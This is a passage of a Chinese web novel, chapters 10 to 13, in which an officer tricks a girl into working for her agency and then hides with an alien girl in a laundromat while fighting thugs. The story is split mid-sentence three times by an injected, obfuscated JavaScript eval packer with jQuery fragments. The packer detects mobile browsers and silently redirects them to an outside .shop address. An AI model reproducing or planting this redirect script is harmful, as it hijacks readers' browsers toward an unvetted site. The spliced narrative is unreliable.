端戊更加坚定了要尽快壮大清异局人员的决心,这如果哪天自己在单位上厕所忘带了纸,想必喊破喉咙都不会有机器人来看自己一眼的。 真发生这样的事,自己还得在网上找个同城快跑、星饱饱或者能量快团,下个送纸的单,是不是还得备注上拒绝机器人、要求性别女啊? 不敢想,一想就脊背发凉、一直凉到后脑勺,今天说什么都得把这个人留下来。 没错,有气无力喊救命的这个人,就是辛瑙。端戊把这一茬都忘得死死的了,若不是她自己及时呼救,怕是今晚要一个人在清异局过夜了。 端戊着急下班回家,只想速战速决,三步并作两步的走到第二审讯室时,已经想到快点解决这小屁孩的办法了。 一推开审讯室的门,原本趴在桌子上有一声没一声呼唤的辛瑙,猛然抬起头,眼睛里闪着光,看端戊的眼神,就像饿了十天的狼看见了一只羊。 “警官姐姐!亲姐姐!您终于回来了!您是不是把我忘了?” “怎么可能!不就是案件多,晚回来一会儿吗?至于在这大呼小叫的吗?”端戊略有些心虚,但还是厉声呵斥住要闹情绪的小屁孩。 “警官姐姐,我真的什么也没做,你再关着我不放,我可要告你非法拘禁了,姐姐,你就放我走吧!”辛瑙感觉在这里困着,和自己坐了一天的牢毫无区别,失去自由的滋味太难受、太痛苦了。 她这一天想明白了一件事,一定要做个遵纪守法的好公民,绝对不能失去自由。 端戊像是戴一张审判官的面具一样,坐在辛瑙对面,背靠着椅子舒展着两条大长腿,摆出一个舒适而不失威严的姿势。 打量着她面前的空餐盒和喝了一半的苏打水,端戊想起了端砚:现在的小屁孩都这么不喜欢喝水吗?端砚平日里喝水也很少。 端戊等辛瑙说完了,才慢悠悠的抬起头,杏眼微眯时似乎就有了施压的魔法,只是看了辛瑙一眼后,她的小嘴巴立刻抿紧了。 “说完了?”端戊轻眯的眼,定格在了辛瑙的身上。 “嗯说完了。可以走了?”辛瑙像是屁股上着了火一样站了起来。 “可以走了……”端戊轻飘飘的复述着辛瑙的诉求。 “好嘞,拜拜了您呐!”辛瑙一个箭步窜到了门口。 “想的美!干嘛去?回来坐下!” 就在辛瑙一站、一窜的间隙,端戊在心里修正了刚想好留住她的方案,确定万无一失,于是不紧不慢的把她喊回来了。 “你耍我?我不是犯人,我是有人权的!”辛瑙像只被打了一闷棍的猴子,有些恼羞成怒的呲牙。 端戊笑了,今天已经有两个人和她说:我不是犯人,我是有人权的。 “急什么?你不是要证据吗?坐回来,我给你看证据!”端戊朝她挥挥手,又指了一下对面黑色的椅子。 辛瑙不舍的放开门把手,磨磨蹭蹭的挪回来坐下,眼里是隐藏不住的不安。 “你,你有什么证据?” “来,咱们看看啊!”端戊打开控境的后台数据,连接上悬浮屏,转向辛瑙能看到的方向。 辛瑙在悬浮屏上,竟然看到控境的使用时间,使用时长,使用目标,最关键的是竟有外力侵扰记录。 记录里面包含了破镜时间,破镜时长,破镜方式,唯独没有破镜人。 “你,你这也没显示和我有任何关系啊?”辛瑙颇有心不服气,同时也存在着侥幸心理。 “是没有啊!所以才带你回来了!只要我用你脖子上那条链子连接上我的系统,完美重合,这证据链不就闭环了?” 辛瑙垂下头,双肩无力的耷拉下来,心里是无尽的悔意:就你能!逞什么能?也没救下来人,还把自己搭进来了。 想到待在这里一天的窒息感,她甚至感到生无可恋了,这就坐牢了?望眼欲穿的等了一天,没想到,这只是失去自由的第一天! 端戊感觉火候差不多了,又添了一把柴:“别担心,你这属于未遂。” 辛瑙突然就看到了希望,唰地抬起头来:“交罚款就可以?警官姐姐,我交!多少都交!而且我还保证,以后我再也不会触犯法律法规,一定做个守法的好公民。” “这觉悟还是挺高的,不错!可是,光是交罚款还是不行的,你这包含了妨碍公务罪,窝藏包庇罪,帮助犯罪分子逃避处罚罪,数罪并罚,少说得三年。”端戊敢这么一本正经的胡说八道,还不是因为先一步关了监测系统。 首先,康屿安就不算犯人,所谓的数罪其实也就一条妨碍公务。虽然兵不厌诈是老祖宗传下来的,可是也是触犯了原则的。 辛瑙听到今天这样的日子居然要过三年,整个人像是被抽走了灵魂、剥了筋一样,无力的瘫在椅子上。 虽然说的是三年,可是辛瑙感觉这一辈子都完了。 “可以戴罪立功吗?”辛瑙只是随口一问,做出最后的挣扎。 “这个,还是可以的。”端戊面上很正经,说出来的话随意的很,一点都不像真的。 辛瑙又不是没有被她逗过,这么大的事,自己也只是随口一问,这会又怎么敢当真呢。 于是,辛瑙想怒不敢怒、轻描淡写的瞪了端戊一眼:“表现良好是可以减刑的吧?” 这是目前,辛瑙最大胆的猜测了,难不成还能无罪释放了她不成? “若是表现的够好,你可以猜测的再大胆一点,比如说,无罪释放。”端戊坐直身体,饶有兴致的看着辛瑙。 辛瑙细长的眼睛睁成了丹凤眼,一脸看诈骗犯的表情看着端戊。 没错,如果不是自己身在执法单位,面对的是执法者,辛瑙真的以为自己碰上了骗子,下一步就要骗自己交赎金了。 “那我需要交多少赎……罚款?”辛瑙小心翼翼的试探着。 “哈哈哈赎金也不要,罚款也不要。” 端戊像一只偷到鸡的狐狸一样眉开眼笑:“但是要付出劳动!你若是坐牢,那叫劳动改造,可是不坐牢,那就应该叫做工作吧,还有工资领,福利待遇也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848830|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 差。” 端戊找到了逗辛瑙的乐趣。 “我是不是可以理解为,自己被收编了?”辛瑙彻底冷静下来了,从头捋了一遍,感觉哪里不对劲,又不太确定。 “你也可以这样理解,如果没有意见现在就可以走了,明天早上八点半到这报道,办理入职。可千万别跑哦,跑了就是逃犯了,而且你也跑不掉,再抓回来量刑可就不一样了。” 端戊一脸淡笑的看着辛瑙时,满是捕获猎物的成就感。 辛瑙有所察觉,却是一刻都不想在这多逗留,只想能多快就有多快的离开这里。 由于跑的太快了,所以没听到她刚出了清异局办公楼,整栋楼就回荡起端戊得逞的笑声。 到家后辛瑙都不太敢相信这一天的大起大落过后,自己怎么就上班了?还有编制了? 她爷爷和她说,只要她不投资,不折腾,家里的资产够她花几十辈子的了,她都已经开始躺平了。 怎么出来转悠一会儿的工夫,自己就有工作了? 端戊大笑的尾音还没收回来,瞳视显示是端妈发过来的视频通话,赶紧接通。 悬浮屏里出现端妈那张肉团子似的脸,旁边是个小号的肉团子,而在两个肉团子的身后,站着刚刚还让自己担心是不是已经成为死者的康屿安。 真的是她,怎么可能是她? “康屿安!你到底想干什么?你这样做考虑过后果吗?”端戊急得两道英眉都快立起来了,眼里嗖嗖的射出小飞刀。 悬浮屏里的三张脸瞬间凝固成静态图,端戊快速的眨眼刷新瞳视信号源,就在她以为是信号中断时,对面的端妈动了,准确来说是怒了。 “才上了一天的班,就好大的官威啊!这个家还轮不到你作威作福!不会好好说话就不用回来吃饭了!”端戊眼里的小飞刀和端妈眼里的八米大砍刀比起来,简直弱到尘埃。 “妈!”端戊眼睁睁看着她那可怜的颜面跟着小飞刀一起被践踏在泥里。 “阿姨,端局也是担心你和端砚,我又没放在心上,先让端局回来吃饭吧,有事回来说。” 康屿安站在端妈的身后,把一双像是脱了骨的柔软白嫩小手,搭在了端妈的肩膀上轻轻拍打安抚她的情绪。 端妈回手轻拍康屿安的手背,让她放心。 端戊看着孺慕情深的美好,努力回忆她和端妈上一次这样的画面出现在什么时候,四岁时?还是五岁时? 反正绝对不会超过七岁,她记得清楚着呢,自从她进入讨狗嫌的年龄,她和端妈最深的情,是棍棒情。 “姐,发什么愣呢?都等着你回来吃饭呢!赶紧回来吧,家里还有个案件要和你汇报呢!片区派出所说家里这位归你们单位管。”端砚有点不耐烦的催促完,无力的趴下去了。 端戊这才发现小丫头一直是趴着昂起头的,看来这顿打终究是没逃过去。 视线转到康屿安的脸上,一脸无害与自己的对视的样子,就好像刚刚从清异局跑出去的人不是她。 端戊越来越觉得,康屿安身上的谜团非但没散,还越聚越迷,现在都迷惑到她家里了。 她得赶紧回家! 11. 第 11 章 收起悬浮屏,端戊把骨节分明的十指插进棕色的碎发,展开五指露出浑圆整洁的指甲,按摩机器臂一样在头顶上轻抓。 这个班,非得这样没完没了地加吗?就回家这点盼头,现在也都碎了一地。好怀念自己的学生时代啊,明明是昨天,却好像已经是很遥远的事了? 刚过去一天不到,自己就沧桑了十年,这班儿真是没法儿上了。 想到还有个案子等着自己呢,端戊抽出手指,双手并拢在脸上揉搓了几下,打起精神回家加班了。 这下,有了合情合理的理由动用公车了! 有些事情,自己胡乱想想可以当错觉,一旦有第二个人的认可,这个事儿便真了五分了。 端戊刚进家门,趴在沙发上的端砚表情都夸张到变形了:“姐,你是上了一天的班吧?看你怎么像离家了十年啊?我的天啊!你是上班去了还是上刑去了?瞅瞅!这憔悴的!” “管好你自己的屁股吧,少说点风凉话,屁股没准儿还能好得快点。”端戊蓦地想起了郑局。 王校长只是脸皱了些,可是人家发量喜人啊!再想想郑局呢,整个头顶都日月可鉴了。 想起郑局笑呵呵那张脸,端戊有点难过,她更愿意相信,是操劳几十年郑局正式开始他的长假了。 清异局交到自己手里,不管他是否放心,都得做到让他放心。 “发生了什么事,她怎么会在这儿?”端戊轻抚被她抓了一天的头发,以后得省着点抓。 “快去洗手,说来话长了。”端妈烫地丝丝哈哈的端上最后一盅汤。 “我来说!我能长话短说!”端砚挣扎着坐起来,呲牙咧嘴的捂着屁股。 端戊看了一眼跟在端妈身边的康屿安,想要帮忙却插不上手的样子和白天判若两人:“嗯,端砚说吧。” “因为有人不厚道向咱妈告状,咱妈拎着棒子找到我,追着我打到杏林巷,我看到康屿安被一个人拉进洗衣店,洗衣店老板和我一起报的志愿者,我认识的。感觉不对我就拉着咱妈跟上去,正碰到那个人拖着康屿安往外走,咱妈的棒子就招呼上去了!” 在这方面,端戊妈是一点不让人担心,发生矛盾时,端戊都是担心对方的。 “那个人呢,看清什么样了吗?”端砚手一顿,直觉冲上脑门:康屿安这事和今天的案子绝对有关。 “那货儿跑的比电驴还快,当时我俩不知道康屿安是活的还是死的,光顾着她了,就让那人跑了,对了,还在里面发现被打破脑袋的洗衣店老板。” “怎么没报警把人带回来了?”害得端戊以为康屿安寻到家里挟持了她俩呢。 要么说,关心则乱。也不想想,几个康屿安绑在一起,才够挟持你妈的本事? “我们报警了的,警察到时康屿安和洗衣店老板都醒过来了,我们还去做了笔录,派出所说康屿安归清异局管,就被我们带回来了。” 端砚舀起满满一汤匙辣炒海灵菇,拌在米饭里大快朵颐。 “你是怎么从清异局跑出去的?”香甜的玉米排骨汤一直润到了端戊的肺腑,润的她空灵的声音都清透了许多。 “都好好吃饭,吃饭的时候可以八卦,别聊正事,容易噎到!”端妈给康屿安夹了一块颤呼呼的冰糖肘子。 端妈怀宝宝时,天天盼着能生一个康屿安这样可以打扮成小公主的女儿,结果,生了两个风一样的女儿。 漂亮的小裙子穿在她俩身上,就像是穿了别人家孩子的衣服,整天拎着裙摆追着邻居家的小男孩打。 “昨天楼上小胖吃饭的时候,听他奶奶蛐蛐隔壁奶奶假牙粘在糯米糕上了,没忍住饭喷了一桌挨揍了。”端砚嘴里含着满满一大口的海灵菇拌饭,鼓着腮帮子八卦。 “糯米糕?”康屿安猛地抬起头来,看向端砚。 “嗯!你喜欢吃吗?”端砚含糊不清的问。 “并不喜欢,黏在脸上时,感觉怪怪的,像是从鼻孔里挖出来的东西。”康屿安垂眸,一本正经的回答。 端砚和端妈同时一噎,这孩子说起话来,纯朴里还带着点脏呢? 端戊可不这么看,根据她对康屿安的了解,她会演着呢,那么洁癖的一个人,饭桌上把天能聊的这么脏,事出反常必有妖! 这一顿饭端妈吃得是最开心的,饭后的活交给机器人,自己乐颠颠的为康屿安准备房间去了。 端戊和端砚的房间,一个是冷灰的极简风,一个是黑白色的禅意风,每次进去端妈都冷的心无杂念,快没有爱了。 康屿安打开卧室门的瞬间,看到整个屋子的暖色奶油风时,鼻子竟然一酸,这也是她妈妈能干出来的事。 橘黄的小壁灯照在粉格子的床上,让她有回到自己家卧室的错觉。 康屿安挪步到床边,拿起粉色抱枕用力搂在怀里,缓缓的躺下去把娇小的纸片身躯蜷缩成一团。连被子里甜腻腻的味道,都和她妈妈喜欢的一样。 隔壁房间的端戊,从藤椅踱步到床上,闭目很久也没有睡意,又起来走到窗前。 窗外乌漆麻黑的见不到一点光,把端戊漆黑的眼眸映的更深邃。稍作犹豫,端戊转身出门融入夜幕里。 端戊上了她乌龟形状墨绿色小电车,一路风驰电掣的开到洗衣店。 透过洗衣店的玻璃窗往里看,像是一个可以吞掉她的黑洞引诱她进去一探究竟。 “笃笃笃!” 敲门又等了很久,里面也没个回应,端戊试探着推门竟然开了? 是老板忘了锁门?还是发生了危险?端戊意识连上瞳视想打报警电话,蓦然想起自己就是那个警。 应该说呼叫总部,请求支援。 可若只是老板忘了关门了,那这个乌龙可就丢人了。 端戊试探着一点点进去,空中漂浮着密密麻麻的人影顿时就把端戊吓麻了,瞳视差点呼叫出去。 定睛一看,是洗衣店挂满了衣服,虚惊! 稳住心神,端戊收回瞳视连接,更加小心的往里间走,她想喊有没有人,张了张嘴,嗓子像是被糊上了一样,没发出声音。 她承认自己有点紧张了,大脑过电影一样闪现着几套体能训练时常用的动作。 本来打算明天来的,可是实在睡不着,她有种强烈的感觉,今天的事情和蛇头码头的案件有关联。 而嫌疑人是被打跑的,一定会留下点什么来不及清理,她等不了明天,怕嫌疑人真的有什么线索留下,反应过来回到洗衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848831|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 店销毁了。 如果嫌疑人刚好也是这个时间来,而且不是一个人来怎么办? 端戊突然后知后觉的想到这个问题,一个、两个人她可以对付,如果对方是团伙怎么办?她终究是凡体肉胎,会疼会死。 想到死,端戊转身想走,只有好好活着、一切才皆有可能,要不明天再来吧? 唉!来都来了,有这墨迹的功夫,洗衣店都勘察完了。 端戊咬咬牙,拿出微距手电筒,出门前她专门带来的,用这个手电筒的好处是,照哪光就聚集在哪,一点都不会发散出去。 即便是在同一个房间呢,光线都不容易被人发现,更何况是门外。 端戊弯着腰一寸寸勘察着往里面挪动,地上果然有拖拽过的痕迹,她甚至还看到挂在地面钢架上的雾霾蓝的衣物纤维,应该是康屿安的。 这是个啥? 端戊发现了指甲盖大小,黏糊糊的东西糊在地上,看起来像是揉搓成一团的黏糊米饭粒,还有点像康屿安晚饭时说的,从鼻孔里挖出来的那个东西。 看着有点恶心,可是在地上被摩擦揉搓的方向和康屿安被拖拽过的方向一致,引起了她的注意。 这就有必要带回去了,说明不白来,说不定还真就能成为破案关键性的线索呢? 王校长说她长着一张福将的面相,还真不假。 可是福将现在口袋空空,她有点惭愧:还真没那个勇气用手去抠起来。转念一想,这不是她没勇气,是规定不允许嘛,不能污染、破坏物证。 全身上下也找不到任何可以把这一坨收起来的东西,站起来四处张望,看到一个半人高的小柜子,可能是装袋子之类的杂物用的。 端戊的一双眼睛在黑暗里亮得像是两盏夜灯,径直走到柜子前蹲身拉开柜门:还真是个小福将。 柜门刚开,端戊就感觉到一阵风迎面吹来,头发都差点吹飘扬了,她立刻明白柜子里是祸不是福啊,下意识的伸出右手屈肘挡在面前。 “哇哇哇!”怎么里面藏的是铁扇公主吗?端戊明显感觉到自己被一把铁扇拍了。 王校长都是骗人的!什么福将?差点被拍成土豆酱! “啊啊啊!”柜子里也跟着尖叫,难不成里面还真的藏着一个铁扇公主吗?打的是端戊,她却像是被踩了尾巴一样! 自己是认识铁扇公主吗?这个声音怎么有点熟?虽然扯着嗓子在喊,可是却像是扯断的水晶链子,掉落在瓷器里。 “康屿安?”端戊忍着痛,试探着问“铁扇公主”。 听到有人喊自己的声音,柜子里的声音戛然而止。端戊迟疑着打开微距手电筒,还真的就是康屿安。 端戊举起那只差点被打断的右手,气鼓鼓成被捏在手里的河豚:真疼啊! “你不好好在家睡觉,大晚上的跑出来干嘛?还打我?你拿的什么打得我!铁扇呢!赶紧拿出来!” “铁扇?”康屿安犹疑着举起一块隔热板:“你们地球管这叫铁扇?” 端戊被气笑了,抢过隔热板刚要扔出去,却听见开门的声音,脚步沉重,而且不是一个人。 两个人对视着愣住了,康屿安一把抓住端戊的衣领,把她也拉进了柜子里。 12. 第 12 章 端戊被康屿安拉了一个趔趄,没想到薄薄的纸片人竟然有这大的力气。 更没想到半人高的柜子,居然装得下她们两个人。 “这么一看,就能理解为什么行李箱运尸的案例那么多了。”端戊随着惯性跌进了柜子里,还不忘和康屿安分享。 “你想不想体验一下?”康屿安没好气的又加了点力气。 “那倒不必。”小精灵的脾气还真的不太好,端戊不想再招惹她了。 有甜甜的樱花香扑进了端戊的鼻息,端戊的头撞到了康屿安的头,绵弹的发丝扫在她的前额痒酥酥的。 “你的头发像是活着有呼吸、有生命的……” 一直以来,她都以为所有的头发都像她和端砚的一样又硬又倔的呢,原来还有头发是这样的。 康屿安没搭理她,不是不想,而是两个人的头撞到了一起。小精灵略显嫌弃的迅速躲闪到右边,背靠着柜子内壁蜷腿坐下。与此同时把端戊推向对面,关好柜门。 惊讶在端戊的心里炸成一片烟花:小精灵不但力气大,还知道用巧劲儿,力度的三分用在了右肩上,七分用在了左肩上。 柜子里的情况就变成,端戊和康屿安膝盖抵着膝盖,背靠着各自这边的内壁坐着。 门外沉重的脚步踢踏着越来越近,从柜子前面走过。 “死沉死沉的,累死老子了!咱们干嘛费劲儿搬回来,直接处理了不就行了。”一个雌雄不辨的声音抱怨着。 “说得轻巧,你当警察都是吃素的?所有的事儿都碰到一起了,他们早晚会查到我们头上,任务没完成就暴露了,你还想不想活了?”另一个像刀片一样刺耳的声音训斥着对方。 两个人累得吭哧吭哧的像是在往里面搬着什么。 端戊屏息细听:难道是洗衣店老板,有什么事是不能在这办的?还要把人搬走再费力搬回来? 端戊猜测俩人的个头都不太高,她听到拖地的声音很重,干这活儿,还真是难为他们了。 “飞哥你使点劲儿,我不中了!从没碰过这种事,咋能出错呢?”雌雄嗓上气不接下气地大口喘着。 “谁知道呢,真是活见鬼了!嘿!”飞哥应该是有把子力气的,没太见他喘,听声音又加了一把劲儿。 端戊在心里打着小算盘:这俩货和蛇头码头的案子一定脱不了干系,一会儿先控制了飞哥,这家伙劲儿大,不那么好对付,控制住一个,那个小不点直接按下。 真是没想到,这么快就要结案了,王校长说的还不尽准确,自己不但是个福将,还是个办案天才。 正要连接意识先控制一个大块头,隐约间似乎看到康屿安露出了一圈森白的小牙,这个动作端戊熟悉,她是要打喷嚏。 顾不得那么多,端戊赶紧伸出手捂住了康屿安的嘴。 “唰……”大意了,忘记了右手臂肿起来,感知不那么灵敏,不小心蹭到了柜子。 柜子里的两个人一动也不敢动,柜子外的两个人也动作一滞。 康屿安觉得自己的脸腾地热了:幸好柜子里黑,要不然太难为情了。而且,似乎这么亲密的接触,身体并没应激也没有抗拒。 “哥,你别大半夜的鬼啊鬼的呼唤,我怕!”雌雄嗓声音里的雄激素骤降,娇里娇气地哆嗦。 “怕个鸟啊!大熊你在这等着!我去看看!”飞哥把洗衣店老板往地上一放,就要一查究竟。 毫无准备的大熊,被突然落地的洗衣店老板带着差点一头扎进对方怀里。 “哥,你别扔下我,我怕!” “怕个毛!你松开!你松开我后衣襟!你快把我勒死了!呃!” 柜子里的两个人一动不动,温度和紧张比赛似的狂飙,两个人接触到的皮肤都有些发烫。 康屿安抬起头看着端戊,黑暗中跳跃的两簇紫光忽闪忽闪地,头顶的小耳朵也紧张的轻颤,端戊有种想捏一捏毛茸茸的小耳朵的冲动。 最终还是忍住了,只是把覆盖在康屿安脸上的手指连续点了两下,告诉她:别怕。 康屿安读懂了,轻轻摇了摇头,端戊用修长的手指回应了她,又在她的脸蛋上点了一下。 屁啊! 康屿安气的瞪大紫色小夜灯,暗暗呲牙:我不怕,你捂着我的嘴我呼吸困难! 她想咬她! 气归气,不敢动,不敢咬。柜门外的脚步越来越近了,她俩已经做好柜门随时被拉开的准备。 端戊也连接了控境伺机控制住他,刚刚锁定目标,洗衣店的门又被撞开了。 “飞哥,你看这把次光波枪是不是有问题?没有反应啊!”听声音就知道是一个憨憨的愣头青。 康屿安感觉到端戊的手指在脸上轻微动了一下,两簇紫色小夜灯忽闪着看向端戊:你,这是怕了吗? 端戊察觉到了康屿安的质疑,下意识的坐直身体,手指又动了三下:别乱猜! 感觉到手指下的脸蛋格外的烫,是在柜子里闷坏吗?也不知道康屿安懂了没,端戊觉得和她少了点默契。 好在刚刚没动手,对方竟然不是两个人,也不知道外面还有人不,而且对方还有枪。 次光波枪?记得课上讲过这玩意儿,不是应该在地球上很多年都不用了吗?她的意识勘测过,外面几个小混混实打实的都是地球人。 勾结外星人?还是外星人在地球上雇佣的爪牙? “告诉你多少遍了!没事别鼓捣那老掉牙的玩意儿!去外面呆着去……”大飞还挺嫌弃后进来的这个傻憨憨。 “咻……” 也难怪他嫌弃,淘汰枪到底被他鼓捣走火了,擦着大飞的裤腿,就打在了大熊脚前。 “哎呀妈呀!想要我命啊!”这一下把大熊的那点雄激素彻底都吓没了,魂都吓离体绕着屋子跑了一圈。 “操!滚出去!”大飞都感觉到自己的小腿发烫了,也着实吓的不轻。 “飞哥,我不想在外面了!我就在门口等着,我不乱动!”傻憨憨也知道自己差点闯了大祸,屁滚尿流的到门口守着去了。 柜子里刚吃完瓜的两个人,顿时又红温了,又轮到她俩紧张了。 端戊突然想到,她自己应该也是有配枪的啊!为什么没有申请?第一次上班,没经验。 康屿安的身体不由向端戊靠近了一些,这会儿她有点怕了,那声枪响才真的让她意识到,外面的几个人是亡命之徒,她们不是在玩游戏。 察觉到了康屿安身体在发抖,端戊把她的手握在手里攥得紧紧的。 脚步声离柜子越来越近,她俩下意识的调整气息,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848832|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 飞已经走到了柜子面前,脚步顿在了那里。 端戊心里把学过的格斗动作,在大脑中反复模拟多少遍了,就等着柜门一拉开,她就大展拳脚了。 康屿安甚至感觉到,端戊贴近自己膝盖上的另外一只手,已经握紧成拳,于是也学着端戊,双手握拳。 端戊感觉到了她有力的回握。 康屿安打算一会打起来,端戊干嘛她干嘛,有样学样总比坐以待毙强吧。 哪承想,门外的大飞也不知道是瞎了没看到柜子,还是忘了这一茬,毕竟刚被门口那憨憨吓了一跳。 他在柜子停了一下后,竟直接拐弯走了。在几大排衣服里穿行、扒拉一通瞎找,确定没有人后就招呼着门口傻蛋过来,三个人一起往里抬。 端戊和康屿安相视一笑:机会这不就来了吗? 原本端戊挺想能控制一个、撂倒一个,两个都带回去的,可是现在人家是仨,还有个淘汰枪。 只有好好活着,一切才皆有可能。她决定先撤离出去,在外面盯着喊支援。 端戊推开门一只脚刚刚迈出去,里间的木门就再次推开了,该说不说,三个人干活就是比两个人干活快。 端戊不得已又把脚收回来,轻手轻脚的关上柜子门,两个人又恢复了膝盖抵着膝盖,面对面坐着。 这会儿端戊的内心还是挺纠结的,眼睁睁看着外面三个嫌疑人走了,她不甘心,想想那个惨死的朝暮星人,她的心就被责任澎湃的拍打着。 控制了那个大块头,对付那俩废柴问题应该不大,她决定试试。端戊看了看对面的康屿安,这是个不确定因素。 如果她能自保跑出去还好,如果不能,再成为人质? 正在端戊犹豫不决时,柜子外的人帮她做出了决定。 “哥,我刚刚在外面看到一个乌龟小电车,咱把它弄走啊?”铁憨憨看上了端戊的小乌龟,惦记着顺手牵龟。 “小乌龟?上一趟来的时候,没看到门口有乌龟车啊?”三个臭皮匠,总有一个有些脑子的。 洗衣店内,瞬间就安静了,柜子里,柜子外的人都屏住了呼吸。 端戊察觉到安静中的危险,毫不犹豫的甩出了控境,这一次特别争气的精准控住了大飞。 两个人听到柜子外面扑通的一声,正踮着脚往柜子挪的大飞,双腿突然被控,一个狗啃屎就扑在了地面上。 端戊迅雷不及掩耳的推开柜门,拉着康屿安冲出柜子,看到一个大块头趴在了柜子前。 但凡端戊的控境甩地再慢点,这货就已经挡住了柜门,她俩出来还困难了呢。 也终于看到了一直活在想象中的傻憨憨和雌雄嗓,果然和猜的差不多,一个长得像个粗糙豁口的大瓷碗,一个长得像个营养不良的小鸡子。 端戊把康屿安推到相对安全的地方,一脚踹在还没反应过来的大熊肚子上,那脚感,像是踹在了泡沫板上,顿时飞出来三步远,趴在地上叫唤。 “操!傻愣着看啥呢!动手啊!两个爷们让两小姑娘吓傻了?”趴在地上动不了大飞恨铁不成钢的破口大骂。 傻憨憨这才反应过来冲着康屿安就去了,原来也不是傻透了呢。 康屿安被吓得连连后退,有种大瓷碗叽里咕噜滚过来,撞向水晶杯的即视感。 13. 第 13 章 端戊比豁口大瓷碗早一步挡在了水晶杯面前,并一拳打在了大瓷碗的碗肚上。 “嗷!”没想到大瓷碗还没有小鸡子抗揍,一拳就萎了,蹲在地上嗷嗷叫。 端戊余光扫到康屿安跑向一旁,刚要喊住她,却听见大飞趴在地上骂大瓷碗。 “你不是有枪吗?你拿枪崩我的那个劲儿拿出来啊!长个脑袋是白长的吗?” 大瓷碗被骂了才恍然大悟:对啊,我是有枪的! 哪会给他这个机会?还没等他摸到枪就已经被端戊一脚踹在肚子上了,反手一个擒拿手,手就被扭在身后。 “啊!”大瓷碗叫得更大声了。 端戊听到了康屿安嫌弃的声音:“吵死了!叫得好像把你扭断了似的。 循着声音找到康屿安,端戊着实被她逗笑了:她跑到了大熊旁边用小靴子一顿踹他后背,直到踹得他单薄的小身板一动不动。 康屿安居然还扯下了人家腰带,把他的双手从背后绑起来了。 “呃,小瞧你了啊,还真是个机灵鬼。” “没有没有,是我小瞧你了,身手还真是不错!” 看着俩人已经开始在这互捧了,地上的大块头真是忍不了一点了,朝着门外大喊:“快来人啊,外面的人都死了吗?快点进来帮忙啊!” 端戊正在如法炮制的抽大瓷碗的腰带,便听见外面嘈杂的脚步声,少说也得四、五个人。 心里把这一群人骂了好几个来回:“喂!你们来这么多人?就三个人下来干活,一个憨傻、一个体弱,咋的?外面那几个人干活额外收费啊?” “要你管!”大飞咬牙切齿,他总不能说,只要这两个人能使唤的动吧? 绑好了大瓷碗,弯腰正捡淘汰枪呢,却看到康屿安拎着裙摆、迈过大熊,一溜小跑的到门口了,在外面的人快要跑到门口的紧要关头,把门从里面反锁了。 转头又去嘿呦嘿呦地拖桌子,端戊赶紧过去帮忙,看着对面气喘吁吁的小精灵,突然发现也不是一点默契都没有嘛! 端戊意识连上瞳视,赶紧呼叫总部请求支援。 康屿安回望着端戊,渐渐喘匀了气息:“你不是警察吗?不会亮出你的警官证吗?” “洗完澡就换了衣服出来,哪想到会用到?反倒是你大半夜的出来干嘛?不知道你们朝暮星人现在很危险吗?” 晚饭时,关于朝暮星的案件,端戊挑了一些能透露的和大概和他们说了,主要是说给康屿安听的,想要她有点危机意识,别动不动的就想跑。 谁知道一点没吓唬住,居然还敢二次回到现场来,还是说,她本就是要跑的?不是已经说了暂时不遣返她了吗? 在我们朝暮星,通讯设备还是外置的眼镜呢,你们都可以连接意识了?”康屿安问出了引起她注意到话题,可是端戊从她的语气里听出了逃避。 小精灵有秘密,大晚上的回到这里来要找什么?是和绑架她的案件有关,还是和朝暮星有关? 现在顾不上想这么多,因为外面那群人撞不开门,已经开始拆窗子了,都说洗衣店老板会被绑走,窗子连个防护系统都没有,不绑他绑谁? 看着瑟瑟发抖的窗子,端戊算了一下支援赶到的时间,竟觉得不相上下,回忆起蛇头码头的那个死者的样子,再看看康屿安,心里抽搐了一下。 “你害怕?”康屿安顺着端戊的视线,也看到窗户咯吱咯吱地像是在求饶。 “是啊,好害怕,我怕在停尸间见到你!”端戊笑嘻嘻的说着血淋淋的话。 “你……”康屿安真的有点烦她了。 即使康屿安那张无可挑剔的脸看得并不太清楚,端戊还是在她紫色小夜灯似的的眼眸里看到了小火苗。 “你在我家的时候,可是我妈理想中的乖女儿哦!走!我们看看里间有没有后门,他们一窝蜂的闯进来,我可不敢保证自己能保护得了你。” 端戊戏谑的看了康屿安一眼,拉起他朝里面走去。 “如果我们走远了,地上的这个人是不是就脱离控制了?”路过大飞又走出了几步后,康屿安踮起脚贴近端戊的耳朵小声问。 